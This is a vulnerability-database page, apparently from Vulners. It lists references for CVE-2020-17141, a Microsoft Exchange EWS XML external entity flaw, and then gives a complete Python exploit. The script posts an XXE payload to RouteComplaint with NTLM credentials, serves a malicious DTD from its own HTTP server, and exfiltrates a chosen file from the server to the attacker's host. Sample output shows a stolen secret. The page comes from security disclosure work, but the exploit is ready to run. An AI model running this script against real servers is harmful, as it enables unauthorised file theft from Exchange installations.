| Reporter | Title | Published | Views | Family All 22 |
|---|---|---|---|---|
| CVE-2020-17132 | 10 Dec 202000:00 | – | attackerkb | |
| Vulristics Vulnerability Score, Automated Data Collection and Microsoft Patch Tuesdays Q4 2020 | 11 Jan 202101:50 | – | avleonov | |
| CVE-2020-17141 | 14 Dec 202018:55 | – | circl | |
| Microsoft Exchange Server 代码注入漏洞 | 8 Dec 202000:00 | – | cnnvd | |
| Microsoft Exchange Server Remote Code Execution Vulnerability (CNVD-2020-73748) | 10 Dec 202000:00 | – | cnvd | |
| CVE-2020-17141 | 9 Dec 202023:36 | – | cve | |
| CVE-2020-17141 Microsoft Exchange Remote Code Execution Vulnerability | 9 Dec 202023:36 | – | cvelist | |
| Description of the security update for Microsoft Exchange Server 2019 and 2016: December 8, 2020 | 8 Dec 202008:00 | – | mskb | |
| KLA12022 Multiple vulnerabilities in Microsoft Server Software | 8 Dec 202000:00 | – | kaspersky | |
| Microsoft Exchange Remote Code Execution Vulnerability | 8 Dec 202008:00 | – | mscve |
#!/usr/bin/env python3
"""
Microsoft Exchange Server EWS RouteComplaint ParseComplaintData XML External Entity Processing Information Disclosure Vulnerability
Advisory: https://srcincite.io/advisories/src-2020-0031/
Patched in: https://portal.msrc.microsoft.com/security-guidance/advisory/CVE-2020-17141
## Summary
This vulnerability allows remote attackers to disclose information on affected installations of Exchange Server. Authentication is required to exploit this vulnerability. The specific flaw exists within the processing of a RouteComplaint SOAP request to the EWS service endpoint. The issue results from the lack of proper validation of a user-supplied xml. An attacker can leverage this vulnerability to disclose information in the context of SYSTEM.
## Vulnerability Analysis
Inside of the `Microsoft.Exchange.Services.dll` we can see the following class:
```c#
namespace Microsoft.Exchange.Services.Core
{
internal sealed class RouteComplaint : SingleStepServiceCommand{
//...
internal override ServiceResultExecute()
{
if (base.CallContext.EffectiveCaller == null)
{
throw new ArgumentNullException("this.CallContext.EffectiveCaller", "EffectiveCaller must not be null.");
}
this.abuseReportResults = null;
IAbuseReportContext abuseReportContext = this.ParseComplaintData(); // 1
IMailboxSession imailboxSessionBySmtpAddress = base.CallContext.SessionCache.GetIMailboxSessionBySmtpAddress(base.CallContext.EffectiveCaller.PrimarySmtpAddress, false);
IWasclContext wasclContext = new WasclContext(ProtocolClientType.XMRAR, null, null, string.Empty, "");
imailboxSessionBySmtpAddress.WasclContext = wasclContext;
this.abuseReportResults = WasclWrapper.ProcessAbuseReport(abuseReportContext, imailboxSessionBySmtpAddress);
return new ServiceResult(new RouteComplaintResponseMessage(ServiceResultCode.Success, null, this.EncodeComplaintDataForResponse()), ServiceResultCode.Success);
}
// ...
private IAbuseReportContext ParseComplaintData()
{
if (base.Request.Data == null)
{
ExTraceGlobals.GetEventsCallTracer.TraceDebug((long)this.GetHashCode(), "RouteComplaint.Execute - RouteComplaintRequest data is null");
throw new ArgumentNullException("this.complaintData", "ComplaintData must not be null in order to process the abuse report.");
}
XmlDocument xmlDocument = new XmlDocument();
xmlDocument.LoadXml(Encoding.UTF8.GetString(base.Request.Data)); // 2
XmlNode data = xmlDocument.SelectSingleNode("complaintData");
```
At *[1]* we can see the `RouteComplaint.ParseComplaintData` method is called from the `Execute` method and at *[2]* the code uses attacker supplied data in a `LoadXml` to trigger entity processing.
## Proof of Concept
Change anything within the [] brackets.
```
POST /ews/Exchange.asmx HTTP/1.1
Host: [target]
Content-type: text/xml; charset=utf-8
Authentication: [ntlm auth]
Content-Length: [length][base64 encoded XXE payload]```
## Example
```
researcher@incite:~$ ./poc.py
(+) usage: ./poc.py(+) eg: ./poc.py 192.168.75.142 [email protected]:user123# 192.168.75.1:9090 "C:/Users/harryh/secrets.txt"
researcher@incite:~$ ./poc.py 192.168.75.142 [email protected]:user123# 192.168.75.1:9090 "C:/Users/harryh/secrets.txt"
(+) triggered xxe in exchange!
(+) stolen: /leaked?<![CDATA[omgthisisasecret0day]]>
```
"""
import re
import sys
import urllib3
import requests
import urllib.parse
from threading import Thread
from base64 import b64encode
from requests_ntlm2 import HttpNtlmAuth
from http.server import BaseHTTPRequestHandler, HTTPServer
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
class xxe(BaseHTTPRequestHandler):
def log_message(self, format, *args):
return
def _set_response(self, d):
self.send_response(200)
self.send_header('Content-type', 'application/xml')
self.send_header('Content-Length', len(d))
self.end_headers()
def do_GET(self):
if "leaked" in self.path:
print("(+) stolen: %s" % urllib.parse.unquote(self.path))
message = "<![CDATA[ <![ INCLUDE[]]> ]]>"
self._set_response(message)
self.wfile.write(message.encode('utf-8'))
self.wfile.write('\n'.encode('utf-8'))
elif "poc.dtd" in self.path:
print("(+) triggered xxe in exchange!")
message = """
<!ENTITY %% payload "%%start;%%stuff;%%end;">
<!ENTITY %% param1 '<!ENTITY % external SYSTEM "http://%s:%d/leaked?%%payload;">'>
%%param1; %%external;""" % (host, int(port))
self._set_response(message)
self.wfile.write(message.encode('utf-8'))
self.wfile.write('\n'.encode('utf-8'))
def main(t, usr, pwd):
server = HTTPServer(('0.0.0.0', int(port)), xxe)
handlerthr = Thread(target=server.serve_forever, args=())
handlerthr.daemon = True
handlerthr.start()
username = usr.split("@")[0]
domain = usr.split("@")[1]
h = {"Content-type" : "text/xml; charset=utf-8"}
xxe_payload = """<!ENTITY %% stuff SYSTEM "file:///%s">
<!ENTITY %% end "]]>">
<!ENTITY %% dtd SYSTEM "http://%s:%d/poc.dtd">
%%dtd;
]>""" % (file, host, int(port))
d = """%s""" % b64encode(xxe_payload.encode()).decode("utf-8")
requests.post("https://%s/ews/Exchange.asmx" % t, data=d, headers=h, verify=False, auth=HttpNtlmAuth('%s\\%s' % (domain,username), pwd))
if __name__ == '__main__':
if len(sys.argv) != 5:
print("(+) usage: %s" % sys.argv[0])
print("(+) eg: %s 192.168.75.142 [email protected]:user123# 192.168.75.1:9090 \"C:/Users/harryh/secrets.txt\"" % sys.argv[0])
sys.exit(-1)
trgt = sys.argv[1]
assert ":" in sys.argv[2], "(-) you need a user and password!"
usr = sys.argv[2].split(":")[0]
pwd = sys.argv[2].split(":")[1]
host = sys.argv[3]
port = 9090
file = sys.argv[4]
if ":" in sys.argv[3]:
host = sys.argv[3].split(":")[0]
port = sys.argv[3].split(":")[1]
assert port.isdigit(), "(-) not a port number!"
main(trgt, usr, pwd)Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation